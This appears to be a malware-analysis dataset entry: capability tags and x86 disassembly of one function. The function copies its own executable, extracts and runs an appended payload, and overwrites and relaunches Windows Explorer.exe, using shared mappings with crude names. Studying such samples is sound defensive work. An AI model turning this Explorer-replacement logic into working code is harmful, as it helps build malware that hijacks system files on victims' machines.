Function at 0x4028dd
Capabilities:
Copy file
Create process on windows
Delete file
Enumerate gui resources
Get common file path
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x4fc]
sub esp, 0x57c
mov eax, dword [0x40e2c0]
push ebx
push esi
xor esi, esi
push edi
push esi
mov dword [ebp + 0x4f8], eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov edi, 0x104
push edi
lea ecx, [ebp + 0x3f4]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push edi
lea eax, [ebp + 0x2f0]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push edi
lea eax, [ebp + 0xe8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov eax, dword [0x410b74]
cmp dword [eax + 0x34], 2
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, 0x40f900
jne 0x402965
lea eax, [ebp + 0xe8]
push eax
push str._sExplorer.exe
push edi
call ebx
lea eax, [ebp + 0x2f0]
jmp 0x40297a
lea eax, [ebp + 0x2f0]
push eax
push str._sExplorer.exe
push edi
call ebx
lea eax, [ebp + 0xe8]
push eax
lea eax, [ebp + 0x1ec]
push str._sExplorer.exe
push eax
call ebx
lea eax, [ebp + 0x3f4]
add esp, 0x18
push eax
call fcn.0040393a
push edi
call fcn.0040393a
lea eax, [ebp + 0x1ec]
push eax
call fcn.0040393a
lea eax, [ebp + 0x3f4]
push edi
push eax
call fcn.004038c1
add esp, 0x14
test eax, eax
je 0x402d47
push 0x40c068
push str.FALSE
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
jne 0x402b37
push str._update
push 0x410a58
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
je 0x402b37
push str._remove
push 0x410a58
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
je 0x402b37
lea eax, [ebp + 0x3f4]
push eax
lea eax, [ebp - 0x1c]
push str._s.exe
push eax
call ebx
push str.35328
call fcn.00403e92
add esp, 0x10
mov dword [ebp - 0x24], eax
push esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp + 0x3f4]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push esi
push 0x80
push 3
push esi
push esi
push 0xc0000000
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
sub eax, dword [ebp - 0x24]
push esi
push esi
push dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push dword [ebp - 0x20]
call fcn.00403a80
pop ecx
push esi
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call ebx
push dword [ebp - 0x24]
call fcn.00403e8d
push 0x44
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.00403a20
push 0x10
lea eax, [ebp - 0x3c]
push esi
push eax
mov dword [ebp - 0x80], 0x44
call fcn.00403a20
lea eax, [ebp - 0x3c]
add esp, 0x1c
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x402b18
push esi
push esi
push str.CreateProcess_failed.
push dword [ebp + 0x504]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x3c]
call ebx
push dword [ebp - 0x38]
call ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x40c068
push str.TRUE
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
je 0x402b77
push str._update
mov ebx, 0x410a58
push ebx
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
je 0x402b77
push str._remove
push ebx
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
jne 0x402e81
push str.fuckyou
call fcn.00402f7a
cmp eax, 1
pop ecx
mov ebx, str.peepMap
je 0x402c1a
push ebx
call fcn.00402f7a
cmp eax, 1
pop ecx
je 0x402c1a
push str.FuckMap
call fcn.00402f7a
cmp eax, 1
pop ecx
je 0x402c1a
push str._update
mov ebx, 0x410a58
push ebx
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
je 0x402e71
push str._remove
push ebx
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
je 0x402e71
mov dword [ebp - 0x28], 1
mov eax, dword [0x410b74]
cmp dword [eax + 0x34], 2
jne 0x402df9
push esi
push edi
lea eax, [ebp + 0x3f4]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je 0x402e71
push edi
call fcn.00402e9a
pop ecx
lea eax, [ebp + 0xe8]
jmp 0x402e5b
push str.fuckyou
call fcn.00402f7a
cmp eax, 1
pop ecx
jne 0x402c38
push 0x410a50
push 4
push str.fuckyou
jmp 0x402c5d
push ebx
call fcn.00402f7a
cmp eax, 1
pop ecx
je 0x402c55
mov ebx, str.FuckMap
push ebx
call fcn.00402f7a
cmp eax, 1
pop ecx
jne 0x402c6a
push 0x410a50
push 4
push ebx
call fcn.00402f9d
add esp, 0xc
mov dword [0x410a54], eax
mov eax, dword [0x410a50]
push str._remove
mov ebx, 0x410a58
push ebx
mov dword [0x410a4c], eax
call fcn.004038c1
pop ecx
test eax, eax
mov eax, dword [0x410a4c]
pop ecx
jne 0x402cf5
push esi
push esi
push 0x10
push dword [eax]
call dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x5dc
call ebx
mov eax, dword [0x410b74]
cmp dword [eax + 0x34], 2
jne 0x402cca
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push str.Explorer.exe
call fcn.00402e9a
pop ecx
jmp 0x402e71
push esi
push edi
lea eax, [ebp + 0x1ec]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push str.Progman
push 0x40258d
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x1f4
call ebx
jmp 0x402e3a
mov ax, word [eax + 4]
mov ecx, dword [0x410b74]
cmp ax, word [ecx + 0xfc]
jb 0x402d1d
push str._update
push ebx
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
jne 0x402e71
mov eax, dword [0x410a4c]
push esi
push esi
push 0x10
push dword [eax]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x5dc
call dword [sym.imp.KERNEL32.DLL_Sleep]
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
jmp 0x402be2
mov ebx, str.peepMap
push ebx
call fcn.00402f7a
test eax, eax
pop ecx
jne 0x402dac
push 0x410a50
push 4
push ebx
call fcn.00402f9d
mov edx, dword [ebp + 0x504]
mov dword [0x410a54], eax
mov eax, dword [0x410a50]
mov ecx, eax
mov dword [eax], edx
mov eax, dword [0x410b74]
mov di, word [eax + 0xfc]
add esp, 0xc
mov word [ecx + 4], di
cmp dword [eax + 0x34], 2
mov dword [0x410a4c], ecx
push esi
je 0x402da0
call fcn.00402edc
pop ecx
jmp 0x402dbc
push esi
push 1
push edx
call dword [sym.imp.USER32.dll_SetTimer]
jmp 0x402dbc
push esi
push esi
push 0x10
push dword [ebp + 0x504]
call dword [sym.imp.USER32.dll_SendMessageA]
push str.NoRunOrg
mov edi, 0x410a58
push edi
call fcn.004038c1
test eax, eax
pop ecx
pop ecx
je 0x402e81
push 1
lea eax, [ebp + 0xe8]
push eax
push edi
lea eax, [ebp + 0x1ec]
push eax
push esi
push dword [ebp + 0x504]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x402e81
cmp dword [ebp - 0x2c], 1
je 0x402e46
push str.Progman
push 0x40258d
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ebx, dword [sym.imp.KERNEL32.DLL_CopyFileA]
push esi
lea eax, [ebp + 0x1ec]
push eax
push edi
call ebx
test eax, eax
je 0x402e3a
push esi
push edi
lea eax, [ebp + 0x3f4]
push eax
call ebx
push 1
lea eax, [ebp + 0x2f0]
push eax
push esi
jmp 0x402e63
push esi
push edi
lea eax, [ebp + 0x3f4]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp + 0x2f0]
push 1
push eax
push str.NoRunOrg
push edi
push esi
push dword [ebp + 0x504]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push esi
push esi
push 0x10
push dword [ebp + 0x504]
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [ebp + 0x4f8]
mov eax, dword [ebp - 0x28]
pop edi
pop esi
pop ebx
call fcn.004053fe
add ebp, 0x4fc
leave
ret